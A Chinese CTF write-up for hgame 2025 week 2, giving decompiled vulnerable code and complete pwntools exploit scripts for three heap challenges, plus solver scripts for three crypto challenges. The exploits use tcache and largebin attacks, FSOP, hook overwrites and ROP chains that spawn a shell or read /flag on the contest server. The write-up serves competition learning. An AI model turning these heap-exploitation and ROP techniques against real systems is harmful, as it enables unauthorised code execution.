[hgame 2025] week2 pwn/crypto

发布于:2025-02-19 ⋅ 阅读:(31) ⋅ 点赞:(0)

截止18号20点。都一星期了快忘了。

PWN

sigin2heap

堆题,libc用的是2.27,有add,free,show,其中add有off_by_null

unsigned __int64 add()
{
  unsigned int v0; // ebx
  unsigned int v2; // [rsp+Ch] [rbp-24h] BYREF
  unsigned int size; // [rsp+10h] [rbp-20h] BYREF
  unsigned int size_4; // [rsp+14h] [rbp-1Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v2);
  if ( v2 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else if ( *((_QWORD *)&books + v2) )
  {
    puts("The note already exists.");
  }
  else
  {
    while ( 1 )
    {
      printf("Size: ");
      __isoc99_scanf("%u", &size);
      if ( size <= 0xFF )
        break;
      puts("Too big!");
    }
    v0 = v2;
    *((_QWORD *)&books + v0) = malloc(size);
    printf("Content: ");
    size_4 = read(0, *((void **)&books + v2), size);
    *(_BYTE *)(*((_QWORD *)&books + v2) + size_4) = 0;// off_by_null
  }
  return __readfsqword(0x28u) ^ v5;
}

由于有size限制,需要先释放填满tcache才能释放到unsort。利用off_by_null将size的尾位置0释放到unsort时向前合并造成重叠,再通过tcacheAttack向__free_hook写system

一个板子题,用来凑数的。

from pwn import *
context(arch='amd64', log_level='debug')

elf = ELF('./vuln')
libc = ELF('./libc-2.27.so')

def add(idx,size,msg):
    p.sendafter(b"Your choice:", p32(1))
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendafter(b"Content: ", msg)

def free(idx):
    p.sendafter(b"Your choice:", p32(2))
    p.sendlineafter(b"Index: ", str(idx).encode())

def show(idx):
    p.sendafter(b"Your choice:", p32(3))
    p.sendlineafter(b"Index: ", str(idx).encode())

#p = process('./vuln')
p = remote('node1.hgame.vidar.club', 31909)

a = [0xf0,0x18,0x18,0x18]+[0xf0]*8+[0x18]
for idx,size in enumerate(a):
    add(idx,size,b'A')

for i in range(7):
    free(i+5)

free(0)
free(3)
add(3, 0x18,flat(0,0,0x160))
free(4)

add(0,0xd0,b'A')
add(4,0x18,b'A')
show(1)
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x3ebca0
print(f"{libc.address = :x}")

free(3)
free(2)
add(5,0x30,flat(0,0,0,0x21,p64(libc.sym['__free_hook'])))

add(6,0x18,b'/bin/sh')
add(7,0x18,p64(libc.sym['system']))

free(6)
p.interactive()

whereisVuln

把主要函数作成链接库。其实没多大区别。free有UAF。add,free,edit,show都有,也就没难度了。

用largebin attack在mp_.global_max_bins写值使400以上的进入到tcache再进行tcache attack。

有个小疑问,一般进行largebinattack时,unsort块要比large块略大,但这个要求略小才行。

这里有个问题,栈里有canary,当在栈里建块时会因为空间不够只能建到canary前,从而无法通过stack_check。所以这里写IO_list_all先执行个fake_IO_file将ROP读入到栈里(在read后,不是栈里函数后,函数已经exit执行不到这了)。

from pwn import *
context(arch='amd64', log_level='debug')

elf = ELF('./vuln')
hgame = ELF('./libhgame.so')
libc = ELF('./libc.so.6')

def add(idx,size):
    p.sendlineafter(b">", b'1')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())

def free(idx):
    p.sendlineafter(b">", b'2')
    p.sendlineafter(b"Index: ", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b">", b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendafter(b"Content: ", msg)

def show(idx):
    p.sendlineafter(b">", b'4')
    p.sendlineafter(b"Index: ", str(idx).encode())

def Exit():
    p.sendlineafter(b">", b'5')

#p = process('./vuln')
p = remote('node1.hgame.vidar.club', 30634)

for idx,size in enumerate([0x520,0x500,0x510,0x500]):
    add(idx,size)

free(0)
add(4,0x540)
free(2)

show(0)
large = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') 
libc.address = large - 0x203f50
print(f"{libc.address = :x}")

edit(0, b'A'*0x10)
show(0)
p.recvuntil(b'A'*0x10)
heap = u64(p.recv(6)+b'\0\0') - 0x290
print(f"{heap = :x}")

tcache_max_bins = libc.sym['obstack_exit_failure'] - 0x20
edit(0, flat(large, large, 0, tcache_max_bins-0x20))
add(5,0x540)

free(3)
free(1)
edit(1,p64((heap+0x7d0>>12)^libc.sym['_environ']-0x18))
add(6,0x500)
add(7,0x500) #environ

edit(7, b'A'*0x18)

show(7)
p.recvuntil(b'A'*0x18)
stack = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x160
print(f"{stack = :x}")

free(5)
free(4)
edit(4, p64((heap+0x1710>>12)^libc.sym['_IO_list_all']))
add(4,0x540)
add(5,0x540)
edit(5, p64(heap+0x2a0))

target = stack -0x1d0
fake_io_read = flat({
    0x00: 0x8000 | 0x40 | 0x1000, #_flags
    0x20: target, #_IO_write_base
    0x28: target + 0x200, #_IO_write_ptr
    0x68: 0, #_chain
    0x70: 0, # _fileno
    0xc0: 0, #_modes
    0xd8: libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
edit(0, fake_io_read)

#gdb.attach(p, "b*0x5555555552fa\nc")
Exit()

pop_rdi_ret = libc.address + 0x000000000010f75b
pop_rsi_ret = libc.address + 0x0000000000110a4d
pop_rdx_ret = libc.address + 0x0000000000066b9a # pop rdx ; ret 0x19
pop_rax_ret = libc.address + 0x00000000000dd237
syscall_ret = libc.sym['getpid'] + 9
ret = pop_rdi_ret + 1

payload = flat([
    pop_rax_ret, 2,
    pop_rdi_ret, target + 0xa8+0x19,
    pop_rsi_ret, 0,
    syscall_ret,

    pop_rax_ret, 0,
    pop_rdi_ret, 3,
    pop_rsi_ret, target + 0x150,
    pop_rdx_ret, 0x50,
    syscall_ret,
    
    b'A'*0x19,
    
    pop_rax_ret, 1,
    pop_rdi_ret, 1,
    syscall_ret,
    b"/flag\0"
])

sleep(0.1)
p.send(payload)

p.interactive()

HitList

又一个堆题。

add这个函数尖malloc返回空指针时会执行gift,执行任意地址free:把输入的一个地址,free掉。

另外在scanf("%s", src)这里有个溢出,拿到canary后就可以直接溢出ROP。

char *malloc_msg()
{
  int v1; // [rsp+4h] [rbp-1Ch] BYREF
  char *dest; // [rsp+8h] [rbp-18h]
  char src[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Name: ");
  putchar(62);
  __isoc99_scanf("%s", src);
  puts("Additional information to consider: ");
  puts("Size:");
  putchar(62);
  __isoc99_scanf("%u", &v1);
  if ( v1 <= 0x3F0 )
  {
    dest = (char *)malloc(v1 + 8);
    if ( dest )
    {
      putchar(62);
      strncpy(dest, src, 8uLL);
      read(0, dest + 8, v1);
      return dest;
    }
    else
    {
      puts("Memory allocation failed.");
      return (char *)(int)gift();
    }
  }
  else
  {
    puts("Too big.");
    return 0LL;
  }
}

edit并不会直接修改而是先free再add。通过原块里的残留得到libc和堆地址。

先在堆里作个块头,用gift释放掉再申请就得到重叠块。利用show里使用的指针得到栈地址和canary。然后到malloc_msg里溢出写ROP

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./vuln')

def add(idx, name,size,msg):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'>', str(idx).encode())
    p.sendlineafter(b'>', name)
    p.sendlineafter(b'>', str(size).encode()) #-9 gift
    if size<0x400:
        p.sendafter(b'>', msg)

def free(idx):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b'>', str(idx).encode())

def edit(idx,num, name, size,msg):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b'>', str(idx).encode())
    p.sendlineafter(b'>', str(num).encode())
    p.sendlineafter(b'>', name)
    p.sendlineafter(b'>', str(size).encode()) #-9 gift
    p.sendafter(b'>', msg)

def show(idx):
    p.sendlineafter(b'>', b'4')
    p.sendlineafter(b'>', str(idx).encode())

#p = process('./vuln')
p = remote('node1.hgame.vidar.club', 31888)

for i in range(8):
    add(i,b'A', 0x80, b'A')

for i in range(7):
    edit(i+1,1,b'A',0,b'')

edit(0,1,b'A',0,b'')
show(0)
p.recvuntil(b"Information: ")
libc.address = u64(p.recv(6)+b'\0\0') - 0x21ad60
print(f"{libc.address = :x}")

free(1)
edit(0,1,b'A',0x20,b'A'*0x10)
show(0)
p.recvuntil(b'A'*0x10)
heap = u64(p.recv(6)+b'\0\0') - 0x8a0
print(f"{heap = :x}")

edit(0,1,b'A',0x8,b'A')
add(8,b'A',0x60, flat(0x21,0,0,0,0x21,0,0,0,0x51))

#stack
#gdb.attach(p, "b*0x5555555553c4\nc")
edit(0,1,b'A',-9,hex(heap+0x340).encode()+b'\n')
edit(0,1,b'A',0x40,flat(0,0,0x31,7,0,0,libc.sym['_environ']))

#gdb.attach(p, "b*0x5555555559ca\nc")
show(7)
stack = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x140
print(f"{stack = :x}")

#canary
#gdb.attach(p, "b*0x5555555559ca\nc")
edit(0,1,b'A',0x40,flat(0,0,0x31,7,0,0,stack+9))
show(7)
p.recvuntil(b"Information: ")
canary = b'\0'+p.recv(7)
print(f"{canary.hex() =}")

#gdb.attach(p, "b*0x55555555551c\nc")

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret

rop = flat(0,canary,0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])
add(9,rop, 0x800, b'A')
#gdb.attach(p)
#pause()
p.interactive()

 

Crypto

Ancient_Recall

题目

import random

Major_Arcana = ["The Fool", "The Magician", "The High Priestess","The Empress", "The Emperor", "The Hierophant","The Lovers", "The Chariot", "Strength","The Hermit", "Wheel of Fortune", "Justice","The Hanged Man", "Death", "Temperance","The Devil", "The Tower", "The Star","The Moon", "The Sun", "Judgement","The World"]
wands = ["Ace of Wands", "Two of Wands", "Three of Wands", "Four of Wands", "Five of Wands", "Six of Wands", "Seven of Wands", "Eight of Wands", "Nine of Wands", "Ten of Wands", "Page of Wands", "Knight of Wands", "Queen of Wands", "King of Wands"]
cups = ["Ace of Cups", "Two of Cups", "Three of Cups", "Four of Cups", "Five of Cups", "Six of Cups", "Seven of Cups", "Eight of Cups", "Nine of Cups", "Ten of Cups", "Page of Cups", "Knight of Cups", "Queen of Cups", "King of Cups"]
swords = ["Ace of Swords", "Two of Swords", "Three of Swords", "Four of Swords", "Five of Swords", "Six of Swords", "Seven of Swords", "Eight of Swords", "Nine of Swords", "Ten of Swords", "Page of Swords", "Knight of Swords", "Queen of Swords", "King of Swords"]
pentacles = ["Ace of Pentacles", "Two of Pentacles", "Three of Pentacles", "Four of Pentacles", "Five of Pentacles", "Six of Pentacles", "Seven of Pentacles", "Eight of Pentacles", "Nine of Pentacles", "Ten of Pentacles", "Page of Pentacles", "Knight of Pentacles", "Queen of Pentacles", "King of Pentacles"]
Minor_Arcana = wands + cups + swords + pentacles
tarot = Major_Arcana + Minor_Arcana
reversals = [0,-1]

Value = []
cards = []
YOUR_initial_FATE = []
while len(YOUR_initial_FATE)<5:
    card = random.choice(tarot)
    if card not in cards:
        cards.append(card)
        if card in Major_Arcana:
            k = random.choice(reversals)
            Value.append(tarot.index(card)^k)
            if k == -1:
                YOUR_initial_FATE.append("re-"+card)
            else:
                YOUR_initial_FATE.append(card)
        else:
            Value.append(tarot.index(card))
            YOUR_initial_FATE.append(card)
    else:
        continue
print("Oops!lets reverse 1T!")

FLAG=("hgame{"+"&".join(YOUR_initial_FATE)+"}").replace(" ","_")

YOUR_final_Value = Value
def Fortune_wheel(FATE):
    FATEd = [FATE[i]+FATE[(i+1)%5] for i in range(len(FATE))]
    return FATEd

for i in range(250):
    YOUR_final_Value = Fortune_wheel(YOUR_final_Value)
print(YOUR_final_Value)
YOUR_final_FATE = []
for i in YOUR_final_Value:
    YOUR_final_FATE.append(tarot[i%78])
print("Your destiny changed!\n",",".join(YOUR_final_FATE))
print("oh,now you GET th3 GOOd lU>k,^^")
"""
Oops!lets reverse 1T!
[2532951952066291774890498369114195917240794704918210520571067085311474675019, 2532951952066291774890327666074100357898023013105443178881294700381509795270, 2532951952066291774890554459287276604903130315859258544173068376967072335730, 2532951952066291774890865328241532885391510162611534514014409174284299139015, 2532951952066291774890830662608134156017946376309989934175833913921142609334]
Your destiny changed!
 Eight of Cups,Ace of Cups,Strength,The Chariot,Five of Swords
oh,now you GET th3 GOOd lU>k,^^
"""

参数是个杨辉三角,可以先处理一下得到5个方程的系数。得到系数就能直接解出明文

#杨辉3角
def Fortune_wheel(FATE):
    FATEd = [FATE[i]+FATE[(i+1)%5] for i in range(len(FATE))]
    return FATEd

var('x0 x1 x2 x3 x4')
a = [x0,x1,x2,x3,x4]
for i in range(250):
    a = Fortune_wheel(a)

f = [a[i]-b[i] for i in range(5)]
solve(f,[x0,x1,x2,x3,x4])
#[[x0 == -19, x1 == -20, x2 == 20, x3 == -15, x4 == 41]]
c = [-19,-20,20,-15,41]

a = []
for i in c:
    if i<0:
        a.append('re-'+tarot[i^^-1])
    else:
        a.append(tarot[i])

("hgame{"+"&".join(a)+"}").replace(" ","_")
#hgame{re-The_Moon&re-The_Sun&Judgement&re-Temperance&Six_of_Cups}

IntergalacticBound

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from random import randint
import hashlib
from secrets import flag

def add_THCurve(P, Q):
    if P == (0, 0):
        return Q
    if Q == (0, 0):
        return P
    x1, y1 = P
    x2, y2 = Q
    x3 = (x1 - y1 ** 2 * x2 * y2) * pow(a * x1 * y1 * x2 ** 2 - y2, -1, p) % p
    y3 = (y1 * y2 ** 2 - a * x1 ** 2 * x2) * pow(a * x1 * y1 * x2 ** 2 - y2, -1, p) % p
    return x3, y3


def mul_THCurve(n, P):
    R = (0, 0)
    while n > 0:
        if n % 2 == 1:
            R = add_THCurve(R, P)
        P = add_THCurve(P, P)
        n = n // 2
    return R


p = getPrime(96)
a = randint(1, p)
G = (randint(1,p), randint(1,p))
d = (a*G[0]^3+G[1]^3+1)%p*inverse(G[0]*G[1],p)%p
x = randint(1, p)
Q = mul_THCurve(x, G)
print(f"p = {p}")
print(f"G = {G}")
print(f"Q = {Q}")

key = hashlib.sha256(str(x).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = pad(flag,16)
ciphertext = cipher.encrypt(flag)
print(f"ciphertext={ciphertext}")

"""
p = 55099055368053948610276786301
G = (19663446762962927633037926740, 35074412430915656071777015320)
Q = (26805137673536635825884330180, 26376833112609309475951186883)
ciphertext=b"k\xe8\xbe\x94\x9e\xfc\xe2\x9e\x97\xe5\xf3\x04'\x8f\xb2\x01T\x06\x88\x04\xeb3Jl\xdd Pk$\x00:\xf5"
"""

关于Twisted Hessian Curve,这个自己猜是猜不出来的。这个曲线很标准没有变化。可以直接套模板映射到椭圆曲线,这里的order都是小因子,可以直接求对数求解。

#a*x^3 + y^3 + 1 = d*x*y  Twisted Hessian Curve
#根据两点求参a,d
P.<a,d> = PolynomialRing(Zmod(p))
f1 = a*G[0]^3 + G[1]^3 + 1 -d*G[0]*G[1]
f2 = a*Q[0]^3 + Q[1]^3 + 1 -d*Q[0]*Q[1]
F = [f1,f2]
Ideal = Ideal(F)
I = Ideal.groebner_basis()
print(I)
res=[x.constant_coefficient() for x in I]
a = -res[0]%p
d = -res[1]%p
#8569490478014112404683314361


R.<x,y,z> = Zmod(p)[]
cubic = a*x^3 + y^3 + z^3 - d*x*y*z
E = EllipticCurve_from_cubic(cubic,morphism=True)
G = E(G)
Q = E(Q)
#求dlp
#factor(G.order()) = 3 * 23 * 661 * 252919 * 115274309 * 13812057089
#都是小因子直接求DLP
m = discrete_log(Q, G,operation = "+")
#2633177798829352921583206736

key = hashlib.sha256(str(int(m)).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
cipher.decrypt(ciphertext)
#hgame{N0th1ng_bu7_up_Up_UP!}

SPiCa

正交格

from Crypto.Util.number import getPrime, long_to_bytes,bytes_to_long
from secrets import flag
from sage.all import *

def derive_M(n):
    iota=0.035
    Mbits=int(2 * iota * n^2 + n * log(n,2))
    M = random_prime(2^Mbits, proof = False, lbound = 2^(Mbits - 1))
    return Integer(M)

m = bytes_to_long(flag).bit_length()
n = 70
p = derive_M(n)


F = GF(p)
x = random_matrix(F, 1, n)
A = random_matrix(ZZ, n, m, x=0, y=2)
A[randint(0, n-1)] = vector(ZZ, list(bin(bytes_to_long(flag))[2:]))
h = x*A

with open("data.txt", "w") as file:
    file.write(str(m) + "\n")
    file.write(str(p) + "\n")
    for item in h:
        file.write(str(item) + "\n")

也是个板子题,没可说之处。 

#x*A = c ,A是01的稀疏矩阵 解正交格
BL = block_matrix(ZZ,[
        [p,0],
        [Matrix(ZZ,c).T,1]
    ])
OL = BL.LLL()
OL2 = Matrix(ZZ,OL[:m-n,1:])

Ker = OL2.right_kernel().matrix()
Ker = Ker.BKZ()

def check(v):
    if(all(i == 1 or i == 0 for i in v)):
        return v
    elif(all(i == -1 or i == 0 for i in v)):
        return -v

def find(Ker,x):
    x = [i for i in ini]
    while(1):
        for vi in x:
            for i in Ker:
                xi1 = check(i + vi)
                xi2 = check(i - vi)
                if xi1 and xi1 not in x:
                    x.append(xi1)
                    if(len(x) == n):
                        return Matrix(ZZ,x)
                if xi2 and xi2 not in x:
                    x.append(xi2)
                    if(len(x) == n):
                        return Matrix(ZZ,x)

ini = [check(vi) for vi in Ker if check(vi)]
x = find(Ker,ini)

for i in x:
    v = long_to_bytes(int(''.join(map(str,i)),2))
    if b'hgame' in v:
        print(v)

#hgame{U_f0und_3he_5pec14l_0n3!}


网站公告

今日签到

点亮在社区的每一天
去签到